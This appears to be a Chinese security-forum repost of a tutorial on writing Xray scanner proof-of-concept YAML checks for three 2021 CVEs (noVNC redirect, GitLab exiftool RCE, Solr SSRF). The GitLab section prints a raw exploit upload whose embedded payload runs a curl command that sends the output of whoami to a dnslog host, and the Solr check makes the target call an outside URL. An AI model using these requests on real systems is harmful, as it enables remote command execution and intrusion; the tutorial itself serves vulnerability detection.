安全矩阵

 找回密码
 立即注册
搜索
查看: 1076|回复: 0

我是如何编写Xray的POC的

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-11-2 20:13:59 | 显示全部楼层 |阅读模式
原文链接:我是如何编写Xray的POC的

Xray编写提交Poc引言自从xray更新了1.8.1之后,在某内部群里,某牛发了破解版

虽然我一直用的也是破解版的Burpsuite,但是对于这种使用破解版本的行为,我肯定拒绝。

难道我们就不能用上高级版吗。提交4个poc就可以换2年啊。
那不是有手就行。搞起。
编写相关文档先学习下相关文档,大家挨个看一遍就行,有个印象即可,不用死记硬背。后台回复:xray,获取文档链接
如何编写YAML格式POC
POC语法V2版
如何编写高质量的 poc
BugScan 插件开发文档
插件辅助(随便看看)目前只发现有2款插件。
“P牛以前开源的,有点老,很多语法已经不支持XRay-POC辅助生成工具
“pocassist,兼容xraypocassist是一个 Golang 编写的全新开源漏洞测试框架
插件看看学习就好
插件编写官方公布最基础的POC如下
  1. name: poc-yaml-example-com
  2. # 脚本部分
  3. transport: http
  4. rules:
  5.     r1:
  6.         request:
  7.             method: GET
  8.             path: "/"
  9.         expression: |
  10.             response.status==200 && response.body.bcontains(b'Example Domain')
  11. expression:
  12.     r1()
  13. # 信息部分
  14. detail:
  15.     author: name(link)
  16.     links:
  17.         - http://example.com
复制代码


编写编辑器参考:https://docs.xray.cool/#/guide/poc?id=vscode
poc实践CVE-2021-3654
“路径处理出了问题,网站域名加上//example.com/%2f..即可进行url跳转
直接get请求,所以poc很简单,有手就行。
  1. name: poc-yaml-novnc-url-redirection-cve-2021-3654
  2. manual: true
  3. transport: http
  4. rules:
  5.   - method: GET
  6.     path: "//baidu.com/%2f.."
  7.     follow_redirects: false
  8.     expression: |
  9.       response.headers['location']=="//baidu.com/%2f../"
  10. detail:
  11.   author: txf(https://github.com/tangxiaofeng7)
  12.   links:
  13.     - https://seclists.org/oss-sec/2021/q3/188
复制代码


CVE-2021-22205
“exiftool解析造成的rce 一共发送2个请求

请求1:
  1. GET /users/sign_in HTTP/1.1
  2. Host: xx
  3. User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36
  4. Accept-Encoding: gzip, deflate
  5. Accept: */*
  6. Connection: close
复制代码


获取csrf-token
请求2:
  1. POST /uploads/user HTTP/1.1
  2. Host: xx
  3. User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
  4. Accept-Encoding: gzip, deflate
  5. Accept: */*
  6. Connection: close
  7. Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5
  8. X-CSRF-Token: xxx==
  9. Cookie: xx
  10. Content-Length: 879


  11. ------WebKitFormBoundaryIMv3mxRg59TkFSX5
  12. Content-Disposition: form-data; name="file"; filename="test.jpg"
  13. Content-Type: image/jpeg

  14. AT&TFORM���DJVMDIRM���.�����F������޿� !ȑN� �ڈ�k�D,q�I�n����"?FORM���^DJVUINFO���
  15. ���d��INCL���shared_anno.iff�BG44����J�����7�*��BG44�����BG44���
  16. FORM��DJVIANTa��P(metadata
  17. (Copyright "\
  18. " . qx{curl `whoami`.dnslog.cn} . \
  19. " b ") )                                                                                                                                                                                                                                                                                                                                                                                                                                    

  20. ------WebKitFormBoundaryIMv3mxRg59TkFSX5--
复制代码


上传图片触发rce。
由于xray目前支持的编码解码有限,不支持hex解码,所以我们直接写的简单点,使用随机字符进行判断,poc很简单,有手就行。

  1. name: poc-yaml-gitlab-cve-2021-22205-rce
  2. set:
  3.   r1: randomInt(1, 9999)
  4.   r2: randomInt(1, 9999)
  5. manual: true
  6. transport: http
  7. rules:
  8.   - method: GET
  9.     path: "/users/sign_in"
  10.     expression: response.status == 200
  11.     search: >-
  12.       name="csrf-token" content="(?P<token>.+?)"
  13.   - method: POST
  14.     path: "/uploads/user"
  15.     headers:
  16.       X-CSRF-Token: |-
  17.         {{token}}
  18.       Content-Type: |-
  19.         multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5
  20.       Accept: "*/*"
  21.     body: |-
  22.       ------WebKitFormBoundaryIMv3mxRg59TkFSX5
  23.       Content-Disposition: form-data; name="file"; filename="{{r1}}.jpg"
  24.       Content-Type: image/jpeg
  25.       {{r2}}
  26.       ------WebKitFormBoundaryIMv3mxRg59TkFSX5--
  27.     expression: response.body.bcontains(b'Failed to process image')

  28. detail:
  29.   author: txf(https://github.com/tangxiaofeng7)
  30.   links:
  31.     - https://about.gitlab.com/releases/2021/04/14/security-release-gitlab-13-10-3-released
复制代码


CVE-2021-27905
“这是SSRF漏洞,需要使用反连平台,加上reverse的即可,官方写的很详细了。所以poc很简单,有手就行。

  1. name: poc-yaml-solr-cve-2021-27905-ssrf
  2. manual: true
  3. transport: http
  4. set:
  5.   reverse: newReverse()
  6.   reverseURL: reverse.url
  7. rules:
  8.   - method: GET
  9.     path: "/solr/admin/cores?indexInfo=false&wt=json"
  10.     expression: |
  11.       response.status == 200
  12.     search: >-
  13.       "name":"(?P<name>.+?)"
  14.   - method: POST
  15.     path: "/solr/{{name}}/replication/?command=fetchindex&masterUrl={{reverseURL}}"
  16.     expression: |
  17.       reverse.wait(5)
  18. detail:
  19.   author: txf(https://github.com/tangxiaofeng7)
  20.   links:
  21.     - https://github.com/murataydemir/CVE-2021-27905
复制代码


poc验证一般是漏洞验证和格式验证:漏洞验证,使用命令:
./xray_darwin_amd64 webscan --plugins phantasm --poc "xxx.yml" --url http://xxx
格式验证,推荐使用yamllint去验证下poc是否存在问题,否则即使poc可以正常验证漏洞,提交了也会被提示错误的。
当然如果你使用了编辑器来编写,基本不会有什么问题,因为它会帮你自动格式化,很方便。
xray也携带了参数poclint,吐槽下,应该存在bug,感觉不太好用.使用命令。
./xray_darwin_amd64 poclint --script "/Users/txf/poc/*"
yamlint的更简单,使用命令
yamllint xxx.yml
尾声然后用git克隆了下仓库(https://github.com/chaitin/xray),每个poc建一个分支进行pull即可。很简单,有手就行。

等待审核即可。


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-22 23:05 , Processed in 0.013046 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表